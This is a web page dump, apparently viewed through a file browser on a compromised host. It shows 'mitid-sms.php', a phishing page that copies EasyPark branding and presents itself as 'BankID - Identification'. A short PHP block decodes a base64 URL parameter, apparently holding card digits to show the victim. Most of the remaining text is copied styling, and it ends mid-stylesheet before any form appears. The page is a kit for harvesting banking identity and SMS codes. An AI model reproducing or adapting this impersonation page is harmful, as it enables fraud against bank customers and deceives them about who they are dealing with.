%PDF- %PDF-
Direktori : /home/emergentqj/actioncivile/pre-auth/.6d4e09ab83ede10475104081c46419d7/ |
Current File : /home/emergentqj/actioncivile/pre-auth/.6d4e09ab83ede10475104081c46419d7/mitid-sms.php |
<?php function reverse_cardString($encodedString) { $lastFourEncoded = base64_decode($encodedString); return $lastFourEncoded; } $reversedString = reverse_cardString(isset($_GET['ids']) ? $_GET['ids'] : ''); ?> <html lang="no" translate="no" data-react-helmet="lang"> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <meta name="theme-color" content="#ffffff"> <meta name="description" content="Parking. Made easy"> <meta name="twitter:image" content="./assets/images/EasyPark-og_image.jpg"> <meta name="twitter:image:alt" content="EasyPark"> <meta name="twitter:site" content="customer.easypark.net"> <meta property="og:image" content="./assets/images/EasyPark-og_image.jpg"> <meta property="og:image:width" content="203"> <meta property="og:image:height" content="238"> <meta property="og:site_name" content="EasyPark"> <meta property="og:url" content="customer.easypark.net"> <meta name="apple-mobile-web-app-title" content="EasyPark"> <link rel="icon" href="assets/images/favicon/favicon.ico"> <link rel="apple-touch-icon" href="assets/images/favicon/favicon-192x192.png"> <link rel="apple-touch-icon" sizes="192x192" href="assets/images/favicon/favicon-192x192.png"> <link rel="apple-touch-icon" sizes="256x256" href="assets/images/favicon/favicon-256x256.png"> <link rel="apple-touch-icon" sizes="384x384" href="assets/images/favicon/favicon-384x384.png"> <link rel="apple-touch-icon" sizes="512x512" href="assets/images/favicon/favicon-512x512.png"> <link rel="manifest" href="assets/js/manifest.json"> <title>BankID - Identification</title> <!--<script defer="defer" src="static/js/main.238c4cd1.js"></script>--> <link href="static/css/main.0f5210b5.css" rel="stylesheet"> <style data-jss="" data-meta="MuiCssBaseline"> html { box-sizing: border-box; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } *, *::before, *::after { box-sizing: inherit; } strong, b { font-weight: 700; } body { color: #262626; margin: 0; font-size: 0.875rem; font-family: Poppins, sans-serif; font-weight: 400; line-height: 1.43; background-color: #fafafa; } @media print { body { background-color: #fff; } } body::backdrop { background-color: #fafafa; } @font-face { font-family: Poppins; font-style: normal; font-display: swap; font-weight: 400; src: local('Poppins'), local('Poppins-Regular'), url(static/media/poppins-regular-webfont.ad4ead5a378cd8743b7d.woff2) format('woff2') ; } @font-face { font-family: Poppins; font-style: normal; font-display: swap; font-weight: 600; src: local('Poppins'), local('Poppins-Regular'), url(static/media/poppins-bold-webfont.60f06b3aefdc411f2506.woff2) format('woff2') ; } </style> <style data-jss="" data-meta="MuiBox"> </style> <style data-jss="" data-meta="MuiBox"> </style> <style data-jss="" data-meta="MuiBox"> </style> <style data-jss="" data-meta="MuiBox"> </style> <style data-jss="" data-meta="MuiBox"> </style> <style data-jss="" data-meta="MuiBox"> </style> <style data-jss="" data-meta="MuiBox"> </style> <style data-jss="" data-meta="MuiBox"> </style> <style data-jss="" data-meta="MuiBox"> </style> <style data-jss="" data-meta="MuiBox"> </style> <style data-jss="" data-meta="MuiBox"> </style> <style data-jss="" data-meta="MuiInputBase"> @-webkit-keyframes mui-auto-fill {} @-webkit-keyframes mui-auto-fill-cancel {} .MuiInputBase-root { color: #262626; cursor: text; display: inline-flex; position: relative; font-size: 1rem; box-sizing: border-box; align-items: center; font-family: Poppins, sans-serif; font-weight: 400; line-height: 1.1876em; } .MuiInputBase-root.Mui-disabled { color: rgba(0, 0, 0, 0.38); cursor: default; } .MuiInputBase-multiline { padding: 6px 0 7px; } .MuiInputBase-multiline.MuiInputBase-marginDense { padding-top: 3px; } .MuiInputBase-fullWidth { width: 100%; } .MuiInputBase-input { font: inherit; color: currentColor; width: 100%; border: 0; height: 1.1876em; margin: 0; display: block; padding: 6px 0 7px; min-width: 0; background: none; box-sizing: content-box; animation-name: mui-auto-fill-cancel; letter-spacing: inherit; animation-duration: 10ms; -webkit-tap-highlight-color: transparent; } .MuiInputBase-input::-webkit-input-placeholder { color: currentColor; opacity: 0.42; transition: opacity 200ms cubic-bezier(0.4, 0, 0.2, 1) 0ms; } .MuiInputBase-input::-moz-placeholder { color: currentColor; opacity: 0.42; transition: opacity 200ms cubic-bezier(0.4, 0, 0.2, 1) 0ms; } .MuiInputBase-input:-ms-input-placeholder { color: currentColor; opacity: 0.42; transition: opacity 200ms cubic-bezier(0.4, 0, 0.2, 1) 0ms; } .MuiInputBase-input::-ms-input-placeholder { color: currentColor; opacity: 0.42; transition: opacity 200ms cubic-bezier(0.4, 0, 0.2, 1) 0ms; } .MuiInputBase-input:focus { outline: 0; } .MuiInputBase-input:invalid { box-shadow: none; } .MuiInputBase-input::-webkit-search-decoration { -webkit-appearance: none; } .MuiInputBase-input.Mui-disabled { opacity: 1; } .MuiInputBase-input:-webkit-autofill { animation-name: mui-auto-fill; animation-duration: 5000s; } label[data-shrink=false] + .MuiInputBase-formControl .MuiInputBase-input::-webkit-input-placeholder { opacity: 0 !important; } label[data-shrink=false] + .MuiInputBase-formControl .MuiInputBase-input::-moz-placeholder { opacity: 0 !important; } label[data-shrink=false] + .MuiInputBase-formControl .MuiInputBase-input:-ms-input-placeholder { opacity: 0 !important; } label[data-shrink=false] + .MuiInputBase-formControl .MuiInputBase-input::-ms-input-placeholder { opacity: 0 !important; } label[data-shrink=false] + .MuiInputBase-formControl .MuiInputBase-input:focus::-webkit-input-placeholder { opacity: 0.42; } label[data-shrink=false] + .MuiInputBase-formControl .MuiInputBase-input:focus::-moz-placeholder { opacity: 0.42; } label[data-shrink=false] + .MuiInputBase-formControl .MuiInputBase-input:focus:-ms-input-placeholder { opacity: 0.42; } label[data-shrink=false] + .MuiInputBase-formControl .MuiInputBase-input:focus::-ms-input-placeholder { opacity: 0.42; } .MuiInputBase-inputMarginDense { padding-top: 3px; } .MuiInputBase-inputMultiline { height: auto; resize: none; padding: 0; } .MuiInputBase-inputTypeSearch { -moz-appearance: textfield; -webkit-appearance: textfield; } </style> <style data-jss="" data-meta="PrivateNotchedOutline"> .jss74 { top: -5px; left: 0; right: 0; bottom: 0; margin: 0; padding: 0 8px; overflow: hidden; position: absolute; border-style: solid; border-width: 1px; border-radius: inherit; pointer-events: none; } .jss75 { padding: 0; text-align: left; transition: width 150ms cubic-bezier(0.0, 0, 0.2, 1) 0ms; line-height: 11px; } .jss76 { width: auto; height: 11px; display: block; padding: 0; font-size: 0.75em; max-width: 0.01px; text-align: left; transition: max-width 50ms cubic-bezier(0.0, 0, 0.2, 1) 0ms; visibility: hidden; } .jss76 > span { display: inline-block; padding-left: 5px; padding-right: 5px; } .jss77 { max-width: 1000px; transition: max-width 100ms cubic-bezier(0.0, 0, 0.2, 1) 50ms; } </style> <style data-jss="" data-meta="MuiOutlinedInput"> .MuiOutlinedInput-root { position: relative; border-radius: 4px; } .MuiOutlinedInput-root:hover .MuiOutlinedInput-notchedOutline { border-color: #262626; } @media (hover: none) { .MuiOutlinedInput-root:hover .MuiOutlinedInput-notchedOutline { border-color: rgba(0, 0, 0, 0.23); } } .MuiOutlinedInput-root.Mui-focused .MuiOutlinedInput-notchedOutline { border-color: #872878; border-width: 2px; } .MuiOutlinedInput-root.Mui-error .MuiOutlinedInput-notchedOutline { border-color: #E7242E; } .MuiOutlinedInput-root.Mui-disabled .MuiOutlinedInput-notchedOutline { border-color: rgba(0, 0, 0, 0.26); } .MuiOutlinedInput-colorSecondary.Mui-focused .MuiOutlinedInput-notchedOutline { border-color: #FF52A3; } .MuiOutlinedInput-adornedStart { padding-left: 14px; } .MuiOutlinedInput-adornedEnd { padding-right: 14px; } .MuiOutlinedInput-multiline { padding: 18.5px 14px; } .MuiOutlinedInput-multiline.MuiOutlinedInput-marginDense { padding-top: 10.5px; padding-bottom: 10.5px; } .MuiOutlinedInput-notchedOutline { border-color: rgba(0, 0, 0, 0.23); } .MuiOutlinedInput-input { padding: 18.5px 14px; } .MuiOutlinedInput-input:-webkit-autofill { border-radius: inherit; } .MuiOutlinedInput-inputMarginDense { padding-top: 10.5px; padding-bottom: 10.5px; } .MuiOutlinedInput-inputMultiline { padding: 0; } .MuiOutlinedInput-inputAdornedStart { padding-left: 0; } .MuiOutlinedInput-inputAdornedEnd { padding-right: 0; } </style> <style data-jss="" data-meta="MuiFormLabel"> .MuiFormLabel-root { color: #606060; padding: 0; font-size: 14px; margin-top: 2px; font-family: Poppins, sans-serif; font-weight: 400; line-height: 1; } .MuiFormLabel-root.Mui-focused { color: #872878; } .MuiFormLabel-root.Mui-disabled { color: rgba(0, 0, 0, 0.38); } .MuiFormLabel-root.Mui-error { color: #E7242E; } .MuiFormLabel-colorSecondary.Mui-focused { color: #FF52A3; } .MuiFormLabel-asterisk.Mui-error { color: #E7242E; } </style> <style data-jss="" data-meta="MuiInputLabel"> .MuiInputLabel-root { display: block; transform-origin: top left; } .MuiInputLabel-formControl { top: 0; left: 0; position: absolute; transform: translate(0, 24px) scale(1); } .MuiInputLabel-marginDense { transform: translate(0, 21px) scale(1); } .MuiInputLabel-shrink { transform: translate(0, 1.5px) scale(0.75); transform-origin: top left; } .MuiInputLabel-animated { transition: color 200ms cubic-bezier(0.0, 0, 0.2, 1) 0ms,transform 200ms cubic-bezier(0.0, 0, 0.2, 1) 0ms; } .MuiInputLabel-filled { z-index: 1; transform: translate(12px, 20px) scale(1); pointer-events: none; } .MuiInputLabel-filled.MuiInputLabel-marginDense { transform: translate(12px, 17px) scale(1); } .MuiInputLabel-filled.MuiInputLabel-shrink { transform: translate(12px, 10px) scale(0.75); } .MuiInputLabel-filled.MuiInputLabel-shrink.MuiInputLabel-marginDense { transform: translate(12px, 7px) scale(0.75); } .MuiInputLabel-outlined { z-index: 1; transform: translate(14px, 20px) scale(1); pointer-events: none; } .MuiInputLabel-outlined.MuiInputLabel-marginDense { transform: translate(14px, 12px) scale(1); } .MuiInputLabel-outlined.MuiInputLabel-shrink { transform: translate(14px, -6px) scale(0.75); } </style> <style data-jss="" data-meta="MuiFormControl"> .MuiFormControl-root { border: 0; margin: 0; display: inline-flex; padding: 0; position: relative; min-width: 0; flex-direction: column; vertical-align: top; } .MuiFormControl-marginNormal { margin-top: 16px; margin-bottom: 8px; } .MuiFormControl-marginDense { margin-top: 8px; margin-bottom: 4px; } .MuiFormControl-fullWidth { width: 100%; } </style> <style data-jss="" data-meta="MuiSvgIcon"> .MuiSvgIcon-root { fill: currentColor; width: 1em; height: 1em; display: inline-block; font-size: 1.5rem; transition: fill 200ms cubic-bezier(0.4, 0, 0.2, 1) 0ms; flex-shrink: 0; user-select: none; } .MuiSvgIcon-colorPrimary { color: #872878; } .MuiSvgIcon-colorSecondary { color: #FF52A3; } .MuiSvgIcon-colorAction { color: rgba(0, 0, 0, 0.54); } .MuiSvgIcon-colorError { color: #E7242E; } .MuiSvgIcon-colorDisabled { color: rgba(0, 0, 0, 0.26); } .MuiSvgIcon-fontSizeInherit { font-size: inherit; } .MuiSvgIcon-fontSizeSmall { font-size: 1.25rem; } .MuiSvgIcon-fontSizeLarge { font-size: 2.1875rem; } </style> <style data-jss="" data-meta="MuiTextField"> </style> <style data-jss="" data-meta="MuiTouchRipple"> .MuiTouchRipple-root { top: 0; left: 0; right: 0; bottom: 0; z-index: 0; overflow: hidden; position: absolute; border-radius: inherit; pointer-events: none; } .MuiTouchRipple-ripple { opacity: 0; position: absolute; } .MuiTouchRipple-rippleVisible { opacity: 0.3; animation: MuiTouchRipple-keyframes-enter 550ms cubic-bezier(0.4, 0, 0.2, 1); transform: scale(1); } .MuiTouchRipple-ripplePulsate { animation-duration: 200ms; } .MuiTouchRipple-child { width: 100%; height: 100%; display: block; opacity: 1; border-radius: 50%; background-color: currentColor; } .MuiTouchRipple-childLeaving { opacity: 0; animation: MuiTouchRipple-keyframes-exit 550ms cubic-bezier(0.4, 0, 0.2, 1); } .MuiTouchRipple-childPulsate { top: 0; left: 0; position: absolute; animation: MuiTouchRipple-keyframes-pulsate 2500ms cubic-bezier(0.4, 0, 0.2, 1) 200ms infinite; } @-webkit-keyframes MuiTouchRipple-keyframes-enter { 0% { opacity: 0.1; transform: scale(0); } 100% { opacity: 0.3; transform: scale(1); } } @-webkit-keyframes MuiTouchRipple-keyframes-exit { 0% { opacity: 1; } 100% { opacity: 0; } } @-webkit-keyframes MuiTouchRipple-keyframes-pulsate { 0% { transform: scale(1); } 50% { transform: scale(0.92); } 100% { transform: scale(1); } } </style> <style data-jss="" data-meta="MuiButtonBase"> .MuiButtonBase-root { color: inherit; border: 0; cursor: pointer; margin: 0; display: inline-flex; outline: 0; padding: 0; position: relative; align-items: center; user-select: none; border-radius: 0; vertical-align: middle; -moz-appearance: none; justify-content: center; text-decoration: none; background-color: transparent; -webkit-appearance: none; -webkit-tap-highlight-color: transparent; } .MuiButtonBase-root::-moz-focus-inner { border-style: none; } .MuiButtonBase-root.Mui-disabled { cursor: default; pointer-events: none; } @media print { .MuiButtonBase-root { -webkit-print-color-adjust: exact; } } </style> <style data-jss="" data-meta="MuiIconButton"> .MuiIconButton-root { flex: 0 0 auto; color: rgba(0, 0, 0, 0.54); padding: 12px; overflow: visible; font-size: 1.5rem; text-align: center; transition: background-color 150ms cubic-bezier(0.4, 0, 0.2, 1) 0ms; border-radius: 50%; } .MuiIconButton-root:hover { background-color: rgba(0, 0, 0, 0.04); } .MuiIconButton-root.Mui-disabled { color: rgba(0, 0, 0, 0.26); background-color: transparent; } @media (hover: none) { .MuiIconButton-root:hover { background-color: transparent; } } .MuiIconButton-edgeStart { margin-left: -12px; } .MuiIconButton-sizeSmall.MuiIconButton-edgeStart { margin-left: -3px; } .MuiIconButton-edgeEnd { margin-right: -12px; } .MuiIconButton-sizeSmall.MuiIconButton-edgeEnd { margin-right: -3px; } .MuiIconButton-colorInherit { color: inherit; } .MuiIconButton-colorPrimary { color: #872878; } .MuiIconButton-colorPrimary:hover { background-color: rgba(135, 40, 120, 0.04); } @media (hover: none) { .MuiIconButton-colorPrimary:hover { background-color: transparent; } } .MuiIconButton-colorSecondary { color: #FF52A3; } .MuiIconButton-colorSecondary:hover { background-color: rgba(255, 82, 163, 0.04); } @media (hover: none) { .MuiIconButton-colorSecondary:hover { background-color: transparent; } } .MuiIconButton-sizeSmall { padding: 3px; font-size: 1.125rem; } .MuiIconButton-label { width: 100%; display: flex; align-items: inherit; justify-content: inherit; } </style> <style data-jss="" data-meta="MuiTypography"> .MuiTypography-root { margin: 0; } .MuiTypography-body2 { font-size: 0.875rem; font-family: Poppins, sans-serif; font-weight: 400; line-height: 1.43; } .MuiTypography-body1 { font-size: 1rem; font-family: Poppins, sans-serif; font-weight: 400; line-height: 1.5; } .MuiTypography-caption { font-size: 0.75rem; font-family: Poppins, sans-serif; font-weight: 400; line-height: 1.66; } .MuiTypography-button { font-size: 0.875rem; font-family: Poppins, sans-serif; font-weight: 500; line-height: 1.75; text-transform: uppercase; } .MuiTypography-h1 { font-size: 24px; font-family: Poppins, sans-serif; font-weight: 600; line-height: 24px; margin-bottom: 14px; } .MuiTypography-h2 { font-size: 3.75rem; font-family: Poppins, sans-serif; font-weight: 300; line-height: 1.2; } .MuiTypography-h3 { font-size: 3rem; font-family: Poppins, sans-serif; font-weight: 400; line-height: 1.167; } @media (min-width:600px) and (max-width:959.95px) { .MuiTypography-h3 { font-size: 2.6rem; } } .MuiTypography-h4 { font-size: 2.125rem; font-family: Poppins, sans-serif; font-weight: 400; line-height: 1.235; } .MuiTypography-h5 { font-size: 1.5rem; font-family: Poppins, sans-serif; font-weight: 400; line-height: 1.334; } .MuiTypography-h6 { font-size: 1.25rem; font-family: Poppins, sans-serif; font-weight: 500; line-height: 1.6; } .MuiTypography-subtitle1 { font-size: 1rem; font-family: Poppins, sans-serif; font-weight: 400; line-height: 1.75; } .MuiTypography-subtitle2 { font-size: 0.875rem; font-family: Poppins, sans-serif; font-weight: 500; line-height: 1.57; } .MuiTypography-overline { font-size: 0.75rem; font-family: Poppins, sans-serif; font-weight: 400; line-height: 2.66; text-transform: uppercase; } .MuiTypography-srOnly { width: 1px; height: 1px; overflow: hidden; position: absolute; } .MuiTypography-alignLeft { text-align: left; } .MuiTypography-alignCenter { text-align: center; } .MuiTypography-alignRight { text-align: right; } .MuiTypography-alignJustify { text-align: justify; } .MuiTypography-noWrap { overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } .MuiTypography-gutterBottom { margin-bottom: 0.35em; } .MuiTypography-paragraph { margin-bottom: 16px; } .MuiTypography-colorInherit { color: inherit; } .MuiTypography-colorPrimary { color: #872878; } .MuiTypography-colorSecondary { color: #FF52A3; } .MuiTypography-colorTextPrimary { color: #262626; } .MuiTypography-colorTextSecondary { color: #595959; } .MuiTypography-colorError { color: #E7242E; } .MuiTypography-displayInline { display: inline; } .MuiTypography-displayBlock { display: block; } </style> <style data-jss="" data-meta="makeStyles"> .jss64 { font-weight: 500; } .jss65 { font-weight: 500; } .jss66::placeholder { color: blue; } .jss66.jss67 .jss68 { border-width: 1px; } .jss70 { display: flex; } </style> <style data-jss="" data-meta="makeStyles"> .jss72 { position: relative; } .jss73 { top: 0; right: 0; z-index: 1; position: absolute; margin-top: -4px; } .jss71 { padding-top: 0px; padding-bottom: 16px; } .jss78 { padding-top: 0px; padding-bottom: 16px; } .jss79 { padding-top: 0px; padding-bottom: 32px; } .jss85 { padding-top: 16px; padding-bottom: 16px; } .jss86 { padding-top: 0px; padding-bottom: 16px; } .jss59 { padding-bottom: 16px; } .jss23 { padding: 32px; } </style> <style data-jss="" data-meta="makeStyles"> .jss58 { color: #262626; font-size: 24px; font-weight: 600; } </style> <style data-jss="" data-meta="makeStyles"> .jss60 { padding: 0.5rem; border-radius: 2px; } .jss61 { color: #595959; } </style> <style data-jss="" data-meta="MuiButton"> .MuiButton-root { color: #262626; padding: 6px 16px; font-size: 0.875rem; min-width: 64px; box-sizing: border-box; transition: background-color 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms,box-shadow 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms,border 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms; font-family: Poppins, sans-serif; font-weight: 500; line-height: 1.75; border-radius: 4px; text-transform: uppercase; } .MuiButton-root:hover { text-decoration: none; background-color: rgba(38, 38, 38, 0.04); } .MuiButton-root.Mui-disabled { color: rgba(0, 0, 0, 0.26); } @media (hover: none) { .MuiButton-root:hover { background-color: transparent; } } .MuiButton-root:hover.Mui-disabled { background-color: transparent; } .MuiButton-label { width: 100%; display: inherit; align-items: inherit; justify-content: inherit; } .MuiButton-text { padding: 6px 8px; } .MuiButton-textPrimary { color: #872878; } .MuiButton-textPrimary:hover { background-color: rgba(135, 40, 120, 0.04); } @media (hover: none) { .MuiButton-textPrimary:hover { background-color: transparent; } } .MuiButton-textSecondary { color: #FF52A3; } .MuiButton-textSecondary:hover { background-color: rgba(255, 82, 163, 0.04); } @media (hover: none) { .MuiButton-textSecondary:hover { background-color: transparent; } } .MuiButton-outlined { border: 1px solid rgba(0, 0, 0, 0.23); padding: 5px 15px; } .MuiButton-outlined.Mui-disabled { border: 1px solid rgba(0, 0, 0, 0.12); } .MuiButton-outlinedPrimary { color: #872878; border: 1px solid rgba(135, 40, 120, 0.5); } .MuiButton-outlinedPrimary:hover { border: 1px solid #872878; background-color: rgba(135, 40, 120, 0.04); } @media (hover: none) { .MuiButton-outlinedPrimary:hover { background-color: transparent; } } .MuiButton-outlinedSecondary { color: #FF52A3; border: 1px solid rgba(255, 82, 163, 0.5); } .MuiButton-outlinedSecondary:hover { border: 1px solid #FF52A3; background-color: rgba(255, 82, 163, 0.04); } .MuiButton-outlinedSecondary.Mui-disabled { border: 1px solid rgba(0, 0, 0, 0.26); } @media (hover: none) { .MuiButton-outlinedSecondary:hover { background-color: transparent; } } .MuiButton-contained { color: rgba(0, 0, 0, 0.87); box-shadow: 0px 3px 1px -2px rgba(0,0,0,0.2),0px 2px 2px 0px rgba(0,0,0,0.14),0px 1px 5px 0px rgba(0,0,0,0.12); background-color: #e0e0e0; } .MuiButton-contained:hover { box-shadow: 0px 2px 4px -1px rgba(0,0,0,0.2),0px 4px 5px 0px rgba(0,0,0,0.14),0px 1px 10px 0px rgba(0,0,0,0.12); background-color: #d5d5d5; } .MuiButton-contained.Mui-focusVisible { box-shadow: 0px 3px 5px -1px rgba(0,0,0,0.2),0px 6px 10px 0px rgba(0,0,0,0.14),0px 1px 18px 0px rgba(0,0,0,0.12); } .MuiButton-contained:active { box-shadow: 0px 5px 5px -3px rgba(0,0,0,0.2),0px 8px 10px 1px rgba(0,0,0,0.14),0px 3px 14px 2px rgba(0,0,0,0.12); } .MuiButton-contained.Mui-disabled { color: rgba(0, 0, 0, 0.26); box-shadow: none; background-color: rgba(0, 0, 0, 0.12); } @media (hover: none) { .MuiButton-contained:hover { box-shadow: 0px 3px 1px -2px rgba(0,0,0,0.2),0px 2px 2px 0px rgba(0,0,0,0.14),0px 1px 5px 0px rgba(0,0,0,0.12); background-color: #e0e0e0; } } .MuiButton-contained:hover.Mui-disabled { background-color: rgba(0, 0, 0, 0.12); } .MuiButton-containedPrimary { color: #fff; background-color: #872878; } .MuiButton-containedPrimary:hover { background-color: rgba(135, 40, 120, 0.8); } @media (hover: none) { .MuiButton-containedPrimary:hover { background-color: #872878; } } .MuiButton-containedSecondary { color: #fff; background-color: #FF52A3; } .MuiButton-containedSecondary:hover { background-color: rgba(255, 82, 163, 0.8); } @media (hover: none) { .MuiButton-containedSecondary:hover { background-color: #FF52A3; } } .MuiButton-disableElevation { box-shadow: none; } .MuiButton-disableElevation:hover { box-shadow: none; } .MuiButton-disableElevation.Mui-focusVisible { box-shadow: none; } .MuiButton-disableElevation:active { box-shadow: none; } .MuiButton-disableElevation.Mui-disabled { box-shadow: none; } .MuiButton-colorInherit { color: inherit; border-color: currentColor; } .MuiButton-textSizeSmall { padding: 4px 5px; font-size: 0.8125rem; } .MuiButton-textSizeLarge { padding: 8px 11px; font-size: 0.9375rem; } .MuiButton-outlinedSizeSmall { padding: 3px 9px; font-size: 0.8125rem; } .MuiButton-outlinedSizeLarge { padding: 7px 21px; font-size: 0.9375rem; } .MuiButton-containedSizeSmall { padding: 4px 10px; font-size: 0.8125rem; } .MuiButton-containedSizeLarge { padding: 8px 22px; font-size: 0.9375rem; } .MuiButton-fullWidth { width: 100%; } .MuiButton-startIcon { display: inherit; margin-left: -4px; margin-right: 8px; } .MuiButton-startIcon.MuiButton-iconSizeSmall { margin-left: -2px; } .MuiButton-endIcon { display: inherit; margin-left: 8px; margin-right: -4px; } .MuiButton-endIcon.MuiButton-iconSizeSmall { margin-right: -2px; } .MuiButton-iconSizeSmall > *:first-child { font-size: 18px; } .MuiButton-iconSizeMedium > *:first-child { font-size: 20px; } .MuiButton-iconSizeLarge > *:first-child { font-size: 22px; } </style> <style data-jss="" data-meta="makeStyles"> .jss80 { border: 1px #872878 solid; box-shadow: none; border-radius: 4px; background-color: 913983; } .jss81 { border: 1px #872878 solid; box-shadow: none; border-radius: 4px; background-color: #fff; } .jss82 { white-space: nowrap; text-transform: unset; } .jss83 { color: #872878; white-space: nowrap; text-transform: unset; } .jss84 { text-transform: capitalize; } </style> <style data-jss="" data-meta="MuiBackdrop"> .MuiBackdrop-root { top: 0; left: 0; right: 0; bottom: 0; display: flex; z-index: -1; position: fixed; align-items: center; justify-content: center; background-color: rgba(0, 0, 0, 0.5); -webkit-tap-highlight-color: transparent; } .MuiBackdrop-invisible { background-color: transparent; } </style> <style data-jss="" data-meta="MuiCircularProgress"> .MuiCircularProgress-root { display: inline-block; } .MuiCircularProgress-static { transition: transform 300ms cubic-bezier(0.4, 0, 0.2, 1) 0ms; } .MuiCircularProgress-indeterminate { animation: MuiCircularProgress-keyframes-circular-rotate 1.4s linear infinite; } .MuiCircularProgress-determinate { transition: transform 300ms cubic-bezier(0.4, 0, 0.2, 1) 0ms; } .MuiCircularProgress-colorPrimary { color: #872878; } .MuiCircularProgress-colorSecondary { color: #FF52A3; } .MuiCircularProgress-svg { display: block; } .MuiCircularProgress-circle { stroke: currentColor; } .MuiCircularProgress-circleStatic { transition: stroke-dashoffset 300ms cubic-bezier(0.4, 0, 0.2, 1) 0ms; } .MuiCircularProgress-circleIndeterminate { animation: MuiCircularProgress-keyframes-circular-dash 1.4s ease-in-out infinite; stroke-dasharray: 80px, 200px; stroke-dashoffset: 0px; } .MuiCircularProgress-circleDeterminate { transition: stroke-dashoffset 300ms cubic-bezier(0.4, 0, 0.2, 1) 0ms; } @-webkit-keyframes MuiCircularProgress-keyframes-circular-rotate { 0% { transform-origin: 50% 50%; } 100% { transform: rotate(360deg); } } @-webkit-keyframes MuiCircularProgress-keyframes-circular-dash { 0% { stroke-dasharray: 1px, 200px; stroke-dashoffset: 0px; } 50% { stroke-dasharray: 100px, 200px; stroke-dashoffset: -15px; } 100% { stroke-dasharray: 100px, 200px; stroke-dashoffset: -125px; } } .MuiCircularProgress-circleDisableShrink { animation: none; } </style> <style data-jss="" data-meta="makeStyles"> .jss55 { color: #872878; z-index: 1201; } </style> <style data-jss="" data-meta="MuiToggleButton"> .MuiToggleButton-root { color: rgba(0, 0, 0, 0.38); border: 1px solid rgba(0, 0, 0, 0.12); padding: 11px; font-size: 0.875rem; box-sizing: border-box; font-family: Poppins, sans-serif; font-weight: 500; line-height: 1.75; border-radius: 4px; text-transform: uppercase; } .MuiToggleButton-root.Mui-selected { color: rgba(0, 0, 0, 0.54); background-color: rgba(0, 0, 0, 0.12); } .MuiToggleButton-root.Mui-disabled { color: rgba(0, 0, 0, 0.12); } .MuiToggleButton-root:hover { text-decoration: none; background-color: rgba(38, 38, 38, 0.05); } @media (hover: none) { .MuiToggleButton-root:hover { background-color: transparent; } } .MuiToggleButton-root:hover.Mui-disabled { background-color: transparent; } .MuiToggleButton-root.Mui-selected:hover { background-color: rgba(0, 0, 0, 0.15); } .MuiToggleButton-root.Mui-selected + .MuiToggleButton-root.Mui-selected { border-left: 0; margin-left: 0; } .MuiToggleButton-label { width: 100%; display: inherit; align-items: inherit; justify-content: inherit; } .MuiToggleButton-sizeSmall { padding: 7px; font-size: 0.8125rem; } .MuiToggleButton-sizeLarge { padding: 15px; font-size: 0.9375rem; } </style> <style data-jss="" data-meta="MuiToggleButtonGroup"> .MuiToggleButtonGroup-root { display: inline-flex; border-radius: 4px; } .MuiToggleButtonGroup-vertical { flex-direction: column; } .MuiToggleButtonGroup-groupedHorizontal:not(:first-child) { border-left: 1px solid transparent; margin-left: -1px; border-top-left-radius: 0; border-bottom-left-radius: 0; } .MuiToggleButtonGroup-groupedHorizontal:not(:last-child) { border-top-right-radius: 0; border-bottom-right-radius: 0; } .MuiToggleButtonGroup-groupedVertical:not(:first-child) { border-top: 1px solid transparent; margin-top: -1px; border-top-left-radius: 0; border-top-right-radius: 0; } .MuiToggleButtonGroup-groupedVertical:not(:last-child) { border-bottom-left-radius: 0; border-bottom-right-radius: 0; } </style> <style data-jss="" data-meta="makeStyles"> .jss24 { justify-content: flex-end; } .jss25 { border: 1px solid; border-color: #872878; background-color: #FFF; } .jss26 { color: #000000; border: 1px solid rgba(0, 0, 0, 0.12) !important; border-radius: 22px; margin-bottom: 20px; background-color: #ffffff; } .jss27 { color: #ffffff !important; border-radius: 22px; background-color: #872878 !important; border-top-left-radius: 22px !important; border-top-right-radius: 22px !important; border-bottom-left-radius: 22px !important; border-bottom-right-radius: 22px !important; } .jss28 { border: 0px none !important; padding: 5px 15px; transition: all 0.5s ease; border-radius: 22px; } .jss28:hover { background-color: #FFF; } .jss28:focus { background-color: #FFF; } .jss29 { color: #262626; font-weight: 600; } .jss30 { text-align: center; } .jss31 { text-align: right; } .jss32 { font-size: 1rem; } .jss33 { width: 100%; height: 15px; } .jss34 { color: #595959; padding-left: 8px; padding-right: 8px; } .jss35 { color: #872878; cursor: pointer; font-size: 14px; font-weight: normal; text-decoration: underline; } .jss36 { color: inherit; } .jss37 { border: 1px solid #EEE; border-bottom: none; } .jss38 { color: #333; width: 47.5%; border: none; height: 1px; margin: 50px auto; background-color: #B1B1B1; } .jss39 { padding-bottom: 10px; } .jss40 { margin-bottom: 0; } .jss41 { margin: 7px; white-space: pre-wrap; } .jss42 { margin: 25px 0; } .jss43 { margin: 0 auto; max-width: 550px; } .jss44 { color: #a94442; padding: 12px; border-color: #ebccd1; border-radius: 4px; background-color: #f2dede; } .jss44 p { margin: 0; } .jss45 { margin-top: 2rem; } .jss46 { margin: 0 auto; max-width: 650px; } .jss47 { top: 50%; left: 50%; width: 50%; outline: none; padding: 24px; position: absolute; max-width: 400px; transform: translate(-50%, -50%); border-radius: 4px; background-color: #fff; } .jss48 { right: 24px; cursor: pointer; position: absolute; } .jss49 { margin: 20px 0; } .jss50 { color: #000; font-size: 22px; font-weight: 500; line-height: 28px; } .jss51 { font-size: 24px; font-style: normal; font-family: Poppins; font-weight: 700; line-height: 32px; } .jss52 { font-size: 16px; font-style: normal; font-family: Poppins; font-weight: 400; line-height: 24px; } .jss53 { color: #872878; } .jss54 { cursor: pointer; } .jss56 { padding-top: 0px; padding-bottom: 16px; } </style> <style data-jss="" data-meta="makeStyles"> .jss11 { position: relative; min-width: 0; min-height: 0; } .jss12 { border: 1px solid #C4C4C4; padding: 6px 14px; border-radius: 4px; } .jss13 { width: 100%; cursor: pointer; display: flex; min-width: 0; min-height: 0; align-items: center; flex-direction: row; } .jss14 { width: 20px; border: 1px solid #aaa; height: 15px; box-sizing: content-box; border-radius: 2px; } .jss15 { width: 100%; display: flex; min-width: 0; min-height: 0; align-items: center; } .jss16 { color: #595959; } .jss17 { color: #262626; overflow: hidden; min-width: 0; margin-top: 3px; min-height: 0; white-space: nowrap; padding-left: 8px; text-overflow: ellipsis; } 